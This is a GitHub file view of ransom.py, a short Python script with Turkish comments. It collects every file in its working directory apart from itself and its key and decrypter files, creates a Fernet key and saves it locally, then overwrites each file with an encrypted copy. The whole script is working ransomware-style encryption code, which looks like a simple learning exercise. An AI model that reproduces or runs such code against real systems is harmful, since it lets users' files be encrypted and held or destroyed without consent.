-
Notifications
You must be signed in to change notification settings - Fork 1
/
ransom.py
38 lines (28 loc) · 962 Bytes
/
ransom.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os
from cryptography.fernet import Fernet
#dosyaları listelemek
#print(os.listdir())
files = []
#dosya olan ve ransom olanı almasın
for file in os.listdir():
if file == "ransom.py" or file == "generated.key" or file == "ransomdecrypter.py":
continue
if os.path.isfile(file):
files.append(file)
print(files)
#python fernet
key = Fernet.generate_key()
print(key)
#oluşan keyi genrated.key dosyasına koyacağız wb:write binary rb:read
with open("generated.key","wb") as generatedkey:
generatedkey.write(key)
#bu keyi kulanarak şifreleme
#dosyaları tek tek alıp okuyoruz
for file in files:
with open(file,"rb") as the_file:
contents = the_file.read()
# içeriği okuyup key ile şifreliyoruz
contends_encrypted = Fernet(key).encrypt(contents)
#dosyayı tekrar açtık ve içine şifrelenmiş halini yazdık
with open(file,"wb") as the_file:
the_file.write(contends_encrypted)